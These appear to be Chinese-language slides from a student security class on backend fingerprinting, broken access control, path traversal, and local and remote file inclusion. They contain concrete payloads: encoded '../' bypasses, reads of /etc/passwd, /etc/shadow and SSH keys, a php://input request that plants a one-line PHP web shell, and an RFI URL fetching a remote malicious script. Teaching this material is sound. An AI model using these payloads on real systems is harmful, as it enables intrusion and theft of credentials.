資安第三堂
後端延伸&路徑&LFI&RFI
上堂課ㄉ題解
Index
如何判斷後端
Why















每個組件都有自己的弱點
HOW
file-based VS. route-based
文件驅動路徑
HOW
file-based
src/
└── pages/
├── index.js
├── about.js
└── contact.js
- 網站的路徑直接對應後端實際的文件結構
- 可能利用
../
進行 Path Traversal - 傳統的 PHP、ASP.NET 或純靜態網站。
- 請求通常速度更快
- 文件洩漏風險
測試有無index.php
404
運作
HOW
file-based VS. route-based
文件驅動路徑
路由驅動邏輯
HOW
route-based
src/
└── app/
├── page.js
├── about/
│ └── page.js
└── contact/
└── page.js
- 網站的 URL 與後端邏輯處理器對應,並不直接反映文件系統結構。
- 多見於現代框架(如 Django、Flask、Laravel、Express.js)
- 文件的直接訪問通常被禁止
- 嘗試構造未經授權的請求,測試後端控制器是否存在過濾漏洞。
測試有無"/"路徑
404
運作
HOW
Wappalyzer

- 瀏覽器擴充功能
- 可以看到蒐集到網站的資訊
HOW(補充)
當一個網站有SSTI漏洞時,可以利用{{7*7}}來判斷後端是甚麼模板

Broken Access Control
what

-
無效的存取控管,它是由 2013 年的兩項指標所合併的
-
「不安全的物件參考(Insecure Direct Object References)」
-
「不安全的功能控管(Missing Function Level Access Control)
-
- 從第五名移上來; 94% 被測試的應用程式都有驗測到某種類別權限控制失效的問題。在權限控制失效這個類別中被對應到的 34 個 CWEs 在驗測資料中出現的次數都高於其他的弱點類別。
水平越權
相同權限
A得到B的身分
https: /example.com?user=00001
⭣
https: /example.com?user=00002

垂直越權
不同權限
一般身分獲得管理員身分
https: /example.com?user=Liar
⭣
https: /example.com?user=admin
exploit
- 攔截封包
- F12
- Network
- 查看封包結構
- 參數
- 修改封包
- cookie : role=admin
- Referer : Referer: /admin
- X-Forwarded-For : localhost
- 重送封包
- 檢查response
- 可訪問到非自身權限可查看內容:深入攻擊
- 否:尋找其他疑點
- 檢查response
Path Traversal
what
路徑遍歷(Path Traversal)就像想像網站是一個博物館,裡面有許多房間,其中有些房間是 Staff Only 而且門上了鎖不讓訪客進入,但有趣的是博物館裡的每一個房間都有通風口,只要知道房間位置,就可以透過其他房間的通風口前往 Staff Only 的房間獲得所有你想要的資料。
- 也被稱目錄遍歷(Directory Traversal)
- 點點斜線攻擊(Dot dot slash attack)
- 利用應用程序處理文件路徑的漏洞,讓攻擊者能夠訪問未經授權的文件或目錄
HOW
Linux 中,目錄的顯示是 / Users / hello / Desktop / file
輸入 cd ../ 指令時,當前的目錄就會回到上一層
SO?
當這個指令是任一使用者測試在網站 URL 上輸入 ../ 都可以成功執行回到網站目錄上一層的時候問題就大條了
HOW
嘗試訪問目錄外的路徑
https://www.example.com/../../../../some dir/some file
藉由多次的 ../ 來超脫當前的目錄,訪問不在目錄下的資料。
HOW
- 尾巴有/
- 目錄
- ex:https://www.example.com/../some dir/
- 伺服器會在該目錄中查找預設文檔,例如index.html
- 沒有/
- 檔案
- ex:https://www.example.com/../some file
- if沒有,伺服器可能會返回禁止頁面
HOW
BUT
只要不允許../的出現,那麼針對路徑遍歷的攻擊也就無用武之地了吧?
但我們可是駭客欸
怎麼可能那麼乖
不讓我們用我們就換個方式用:happy_mention:
HOW
HTML Encoder:這是為了避免特殊符號造成的顯示問題,以及避免HTML 將 URL 中的特殊符號視為語法而產生的編碼
知道這個能幹嘛?
不讓我們打../我們就打轉換成HTML Encoder的../吧:D
<script>alert(1);</script>
⭣
%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
HOW
- URL 編碼
- %2e%2e%2f 代表 ../
- %2e%2e%2e%2e%2f 代表 ....//
- 雙寫編碼 (Double Encoding)
- %252e%252e%252f(解碼兩次後為 ../)
- 混合符號
- ..%2f
HOW
- 截斷技巧 (Null Byte Injection)
- 使用 Null Byte (
%00
) 可以截斷後續的字符串處理 - PHP等語言早期漏洞
- ex:file=../../etc/passwd%00
- 使用 Null Byte (
- 拼接符號注入
- 使用特殊符號與路徑拼接,繞過檢查或過濾。
- ex:file=....//....//etc/passwd
LFI & RFI
LFI
- 全名Local File Inclusion
- 引入Server本地端的文件(檔案),而去訪問敏感(或預期外)檔案的攻擊手法。
- 成因
- 後端未驗證是否為合法路徑
- PHP 中可能有問題的函式
- include()
- include_once()
- require()
- require_once
- fopen()
file_get_contents()
- 被引入之後會被當作 PHP 程式碼解析
HOW
嘗試讀取目錄中的系統檔案
https://www.example.com/get-files?file=/etc/passwd
藉由 /etc/passwd 來嘗試直接讀取系統檔案
有可能藉此解讀 root user 的密碼
-
敏感路徑
- /etc/passwd -> 帳號資訊
- /etc/shadow ->密碼
-
/etc/httpd/conf/httpd.conf -> Apache設定
/root/.ssh/id_rsa -> ssh key
HOW
可以修改內容的檔案
https: /example.com/?file=/tmp/sess_{session_name}
- /var/log/apache2/access.log
- /var/log/httpd/access.log
- /proc/self/environ
- /tmp/sess_session_name
注入惡意代碼,並利用 LFI 漏洞包含這些文件,最終實現惡意代碼執行(甚至是 RCE)
HOW
php中的偽協議
file://
http://
php:// #php://filter , php://imput..
zip://
phar://
利用 PHP 提供的 偽協議(Wrapper) 來進一步擴大攻擊範圍,達成文件讀取或代碼執行的目的
php://filter 用於讀取源代碼
php://input可以將惡意代碼放入 HTTP 請求體中
php://memory 和 php://temp創建臨時存儲空間
data://可以通過 data:// 注入並執行代碼
POST /?file=php://input HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
<?php system($_GET['cmd']); ?>
RFI
- 全名Remote File Include
- 引入其他伺服器的惡意檔案
- 前提是 PHP 有開啟 allow_url_fopen = On 與 allow_url_include=on
HOW
嘗試使網站引用外部文件或腳本
https://www.example.com/get-files?file=http://other-site.com/malicius-code.php
將其他網站中的文件包含到當前網站的目錄,讓系統去引用攻擊者的惡意外部文件或腳本
小小小練習:D
- Path Traversal
截止是12/18 12:00AMㄛ
資安第三堂
By jellyfish
資安第三堂
- 64